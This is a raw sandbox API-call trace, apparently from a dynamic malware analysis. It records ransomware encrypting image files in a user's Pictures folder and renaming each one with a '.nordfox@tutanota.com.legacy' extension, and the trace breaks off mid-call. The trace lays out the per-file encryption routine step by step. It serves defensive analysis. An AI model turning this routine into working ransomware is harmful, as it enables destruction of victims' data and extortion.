[0112.945] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=36194) returned 1 [0112.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d62) returned 0x5e9bd0 [0112.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d62) returned 0x5f2940 [0112.945] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x8d62, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x8d62, lpOverlapped=0x0) returned 1 [0112.947] SetFilePointer (in: hFile=0x600, lDistanceToMove=-36194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.947] WriteFile (in: hFile=0x600, lpBuffer=0x5f2940*, nNumberOfBytesToWrite=0x8d62, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f2940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8d62, lpOverlapped=0x0) returned 1 [0112.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f2940 | out: hHeap=0x520000) returned 1 [0112.948] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8d62 [0112.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.950] WriteFile (in: hFile=0x600, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.950] WriteFile (in: hFile=0x600, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.950] CloseHandle (hObject=0x600) returned 1 [0112.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0112.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0112.950] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\kBSfGZV0C85sqciF.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\kbsfgzv0c85sqcif.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\kBSfGZV0C85sqciF.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\kbsfgzv0c85sqcif.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0112.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0112.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0112.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0112.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0112.954] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.954] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\JsIPt8.jpg", dwFileAttributes=0x80) returned 1 [0112.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0112.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.954] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\JsIPt8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\jsipt8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.955] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32377) returned 1 [0112.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7e79) returned 0x5e9bd0 [0112.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7e79) returned 0x5f1a58 [0112.955] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x7e79, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x7e79, lpOverlapped=0x0) returned 1 [0112.956] SetFilePointer (in: hFile=0x600, lDistanceToMove=-32377, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.957] WriteFile (in: hFile=0x600, lpBuffer=0x5f1a58*, nNumberOfBytesToWrite=0x7e79, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f1a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7e79, lpOverlapped=0x0) returned 1 [0112.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f1a58 | out: hHeap=0x520000) returned 1 [0112.958] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7e79 [0112.958] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.958] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.959] WriteFile (in: hFile=0x600, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.959] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.959] CloseHandle (hObject=0x600) returned 1 [0112.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0112.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.960] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\JsIPt8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\jsipt8.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\JsIPt8.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\jsipt8.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0112.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0112.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0112.962] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\J3WS97uoJ K.jpg", dwFileAttributes=0x80) returned 1 [0112.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0112.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.965] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\J3WS97uoJ K.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j3ws97uoj k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.965] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=46345) returned 1 [0112.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb509) returned 0x5e9bd0 [0112.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb509) returned 0x5f50e8 [0112.965] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xb509, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xb509, lpOverlapped=0x0) returned 1 [0112.968] SetFilePointer (in: hFile=0x600, lDistanceToMove=-46345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.968] WriteFile (in: hFile=0x600, lpBuffer=0x5f50e8*, nNumberOfBytesToWrite=0xb509, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f50e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb509, lpOverlapped=0x0) returned 1 [0112.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f50e8 | out: hHeap=0x520000) returned 1 [0112.969] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb509 [0112.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.971] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.971] WriteFile (in: hFile=0x600, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.971] CloseHandle (hObject=0x600) returned 1 [0112.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0112.971] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\J3WS97uoJ K.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j3ws97uoj k.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\J3WS97uoJ K.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\j3ws97uoj k.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0112.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0112.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0112.973] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\ilNALEcI2nS.bmp", dwFileAttributes=0x80) returned 1 [0112.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0112.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7da8 [0112.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\ilNALEcI2nS.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ilnaleci2ns.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.974] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=25817) returned 1 [0112.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64d9) returned 0x5e9bd0 [0112.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x64d9) returned 0x5f00b8 [0112.974] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x64d9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x64d9, lpOverlapped=0x0) returned 1 [0112.976] SetFilePointer (in: hFile=0x600, lDistanceToMove=-25817, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.976] WriteFile (in: hFile=0x600, lpBuffer=0x5f00b8*, nNumberOfBytesToWrite=0x64d9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f00b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x64d9, lpOverlapped=0x0) returned 1 [0112.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f00b8 | out: hHeap=0x520000) returned 1 [0112.976] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x64d9 [0112.976] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.976] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.977] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.977] WriteFile (in: hFile=0x600, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.977] CloseHandle (hObject=0x600) returned 1 [0112.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0112.977] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\ilNALEcI2nS.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ilnaleci2ns.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\ilNALEcI2nS.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\ilnaleci2ns.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0112.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0112.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0112.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0112.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\hh5k 3rSxt.png", dwFileAttributes=0x80) returned 1 [0112.980] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.980] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0112.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\hh5k 3rSxt.png" (normalized: "c:\\users\\fd1hvy\\pictures\\hh5k 3rsxt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.980] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73805) returned 1 [0112.980] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1204d) returned 0x5e9bd0 [0112.980] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1204d) returned 0x5fbc28 [0112.981] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1204d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1204d, lpOverlapped=0x0) returned 1 [0112.984] SetFilePointer (in: hFile=0x600, lDistanceToMove=-73805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.984] WriteFile (in: hFile=0x600, lpBuffer=0x5fbc28*, nNumberOfBytesToWrite=0x1204d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fbc28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1204d, lpOverlapped=0x0) returned 1 [0112.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fbc28 | out: hHeap=0x520000) returned 1 [0112.987] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1204d [0112.987] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.987] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.988] WriteFile (in: hFile=0x600, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.988] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.988] CloseHandle (hObject=0x600) returned 1 [0112.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0112.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.989] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\hh5k 3rSxt.png" (normalized: "c:\\users\\fd1hvy\\pictures\\hh5k 3rsxt.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\hh5k 3rSxt.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\hh5k 3rsxt.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0112.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0112.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0112.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\hCOFvsmgzu5LYwL.jpg", dwFileAttributes=0x80) returned 1 [0112.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0112.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7f18 [0112.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0112.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\hCOFvsmgzu5LYwL.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\hcofvsmgzu5lywl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.991] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6051) returned 1 [0112.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17a3) returned 0x5e9bd0 [0112.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17a3) returned 0x5eb380 [0112.992] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x17a3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x17a3, lpOverlapped=0x0) returned 1 [0112.993] SetFilePointer (in: hFile=0x600, lDistanceToMove=-6051, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.993] WriteFile (in: hFile=0x600, lpBuffer=0x5eb380*, nNumberOfBytesToWrite=0x17a3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eb380*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17a3, lpOverlapped=0x0) returned 1 [0112.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eb380 | out: hHeap=0x520000) returned 1 [0112.993] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17a3 [0112.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.994] WriteFile (in: hFile=0x600, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 